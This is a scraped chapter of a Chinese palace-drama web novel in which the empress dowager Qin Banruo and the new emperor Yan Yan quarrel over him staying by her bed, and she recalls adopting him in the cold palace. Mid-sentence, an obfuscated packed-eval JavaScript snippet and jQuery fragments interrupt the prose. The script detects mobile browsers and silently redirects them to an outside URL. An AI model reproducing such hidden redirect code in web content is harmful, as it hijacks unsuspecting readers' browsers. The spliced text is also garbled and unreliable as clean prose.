秦般若怔了半响:“不是。哀家知道你不会的。”
新帝直勾勾的望着她,薄唇绷成一线,声音冷淡却又凝重至极:“可是母后却不相信,儿子有能力处理好这一切。”
秦般若想要再辩驳,新帝已经将头靠在了女人手背之上:“母后,我是您一手调教出来的。我知道您喜欢什么,讨厌什么;我知道您担心什么,恐惧什么。您想要的,我都会为您得到;您不想要的,我就不会让它再出现在您的眼前。”
“所以,您别害怕,也别不相信我。”
满室静籁,只有男人絮絮说着的嗓音,如同深林之中的幽泉击石,低哑磁性,好听得紧。
玉漏滴到三更了,冷津津的月光落下来,照得满室皆白。
秦般若听到自己的回复:“好。”
晏衍抬起头,方才还冷淡的眉眼瞬间染上了温暖之意:“时候不早了,我陪着母后睡一会儿。”
秦般若揉了揉他的头,拒绝道:“不用了,你处理一天政务,也早乏了。早些回去休息吧。”
新帝摇头:“母后睡不好,儿子怎么睡得下?”
秦般若叹道:“哀家知道你的孝心就够了。可你若休息不好,哀家同样担心。”
新帝思忖片刻,薄唇绷成一线认真道:“那儿子让人在外间设榻,等您睡下了,儿子在那里休息一会儿就好。”
秦般若:???
秦般若呆了片刻,才意识到他说的那几个字连在一起的含义,下意识斥道:“胡闹!皇帝若是宿在哀家宫里,传出去像什么话?!”
晏衍面色却没什么变化,搭下眼帘淡淡道:“那就不让它传出去。朕子时过来,丑时再走,不会叫人瞧见。”
秦般若直接气笑了:“简直胡闹!!”
晏衍抬头细细的打量她,好声好气地询问:“母后还觉得哪里不妥?”
“哪里不妥?”秦般若反问道,“你觉得哪里妥当?”
晏衍抬头瞧着她,神色平静:“母后有疾,朕躬身侍奉哪里不妥?前朝黄香温席、海瑞侍母,都是孝亲典范。那些人做得,朕为什么做不得?”
秦般若被他堵得哑口无言,一时失口道:“那些都是亲生母子,你同哀家是吗?”
话音落下,殿内登时陷入岑寂。新帝瞳孔骤缩,睫毛微颤了一下,却是什么也没说,只是安静地垂下眼帘,收敛一身的冷淡。
某个瞬间,就天河之中突然决堤的弱水,倒灌入心间,冷得发沉。
秦般若方才高涨的气焰一下子就扑灭了下去,她叹了口气:“小九,哀家不是那个意思。”
新帝从喉咙深处发出一声低低的嗯音,目光落在衾被上:“儿子知道。母后是为了避免不必要的麻烦。儿子心里都清楚,母后不必解释。”
男人的语气如常,就好像方才那一瞬间的错愕和受伤是她的错觉。
可怎么可能呢?
没等秦般若再说话,新帝已经重新开口了,眸光宁静守礼:“母后考虑的周到,是儿子莽撞了。儿子等母后睡下后就走,不敢再搅扰母后。”
秦般若张了张口,一时哑然无声。
两人僵持半响,秦般若主动伸手摸了摸他的头,语气也变得温柔了许多:“刚刚是母后失言了,小九别生母后的气好吗?”
新帝这回没有说话,只是深深地看着她,漆黑的眼睛里一片沉寂。
秦般若知道他这是等着她解释的意思,心下一软,手上忍不住又揉了揉他的脑袋:“哀家并非不愿你守着,只是在外人眼里你我并非亲生母子,而且年岁相差不大。若是长久下去,让那些腌臜东西知道了,只怕是又要编排出什么要命的传闻来。如今你刚刚执政,这些流言还是能少则少。”
“哀家知道皇帝问心无愧,哀家也是。可是天下人却未必都这般想。这世上有太多的人想将我们母子拽下来,哀家如今帮不了皇帝什么了,只能步步小心,少些过错。”
青铜台上的烛火还在倏忽间明灭闪动,照在屏风上映出两道交叠相错的身影,别样宁静。没有人说话,安静得只有案上狻猊香炉窸窣燃烧的声音,白雾袅袅,却还未及帐中就又簌簌散去,只留下檀香木同琥珀交叠的幽幽暖香。
新帝一时没有说话,只是拿着黑黝黝的目光瞧她,过了良久,才沉沉出声:“母后,朕走到这一步,不是为了让您步步小心谨慎的。从前朕没有办法,让您委屈了这么多年。如今,朕不希望再看到您再受一点点委屈。”
这话换做世间任何一个男子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255187|166438||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
所说,她都不会相信。可这话,是同她一起走过将近九年风雨的小九说的。
见到小九那年,她刚从冷宫里出来,身子也彻底坏掉了。
纵然重得了皇帝几分怜惜,可一个不能怀孕的妃嫔,再貌美又有什么用。更何况,帝后鹣鲽情深,早已成为天下楷模。所以,对于皇后来说,这点儿容人之量还是有的。
于是,秦般若就在这帝后逗弄鸟儿的情况下,收养了行宫里被冷落嫌弃的小九。
她做皇后的狗,小九就做太子的狗。
刚开始,秦般若利用他的成分居多。可是时间久了,总忍不住多了柔软和情分。
毕竟在这漫漫深宫,除了这个少年再没有人会红着眼跪在榻下给她上药:“母后忍着点痛。”
也没有人会在她恨得快要撑不下去的时候,仰着头看她:“母后别怕,还有儿子。”
他的眼里都是她。
只有她。
那一刻,秦般若就知道自己不仅是小九的支撑。小九,也是她的支撑。
想到过往,秦般若心下更软了一些:“都是哀家的不是,小九别生母后的气了。”
新帝拉下她的手腕,仰头望着她,字字珠玑:“儿子没有生气。儿子只怕让母后生气为难。”
少年掌心滚烫,落在皓玉般的腕子上,如同惊起一片燎原。秦般若表现得十分自然地收回手腕,轻点他的额头:“母后怎会生你的气。”
晏衍静静地看着她收回手,眸色不动,倒是唇角勾了勾:“如今时候不早了,儿子在这守着母后睡下就走。”
又回到了最开始的话题,秦般若叹道:“你明日还有早朝,继续耽搁下去哪还能睡?”
“无妨,等您睡下就走。”
男人一边说着,一边给秦般若提了提被角:“母后睡吧。”
说完,直接起身放下了金挂钩上悬着的帷幔,他自己退回到桌前坐下,拿着小铜火箸儿拨了拨香炉里的香料,安静守礼。
秦般若知道他的性子,叹了口气,隔着帷幔道:“一会儿早点回去。”
“嗯,母后放心。”
秦般若慢慢将身子沉入衾被中,本以为会很难睡着,可是似乎没有一会儿的功夫,就昏昏沉沉入了梦。